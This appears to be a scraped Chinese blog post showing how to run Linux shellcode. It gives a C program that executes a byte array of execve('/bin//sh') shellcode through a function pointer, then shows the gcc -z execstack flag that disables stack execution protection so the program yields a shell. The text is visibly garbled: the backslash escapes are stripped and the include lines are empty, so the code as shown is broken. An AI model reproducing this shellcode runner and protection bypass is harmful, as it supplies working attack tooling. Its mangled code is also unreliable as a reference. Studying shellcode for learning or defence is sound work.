概述
参考了其他文章。
C语言代码如下:
#include
#include
char sc[] =
"x31xc0"
"x50"
"x68x6ex2fx73x68"
"x68x2fx2fx62x69"
"x89xe3"
"x50"
"x53"
"x89xe1"
"xb0x0b"
"xcdx80";
int main()
{
void (*fp)(void) = (void (*)(void))sc;
printf("Length: %dn",strlen(sc));
fp();
}
上面的sc就是shellcode。源代码保存为execve.c,然后编译、连接。
[yang@localhost ~]$ gcc -o execve execve.c
[yang@localhost ~]$ ./execve
Length: 23
娈甸敊璇
[yang@localhost ~]$
结果如上,没有执行shellcode,怎么回事?我的gcc版本是4.3.0的。这个版本的gcc,编译出来的可执行文件的堆栈段,是不可执行的。
加上参数-z execstack就能变成可执行了。
[yang@localhost ~]$ gcc -z execstack -o execve execve.c
[yang@localhost ~]$ ./execve
Length: 23
sh-3.2$
获得了一个shell
最后
以上就是独特音响为你收集整理的linux c语言shellcode,linux下执行shellcode的全部内容,希望文章能够帮你解决linux c语言shellcode,linux下执行shellcode所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复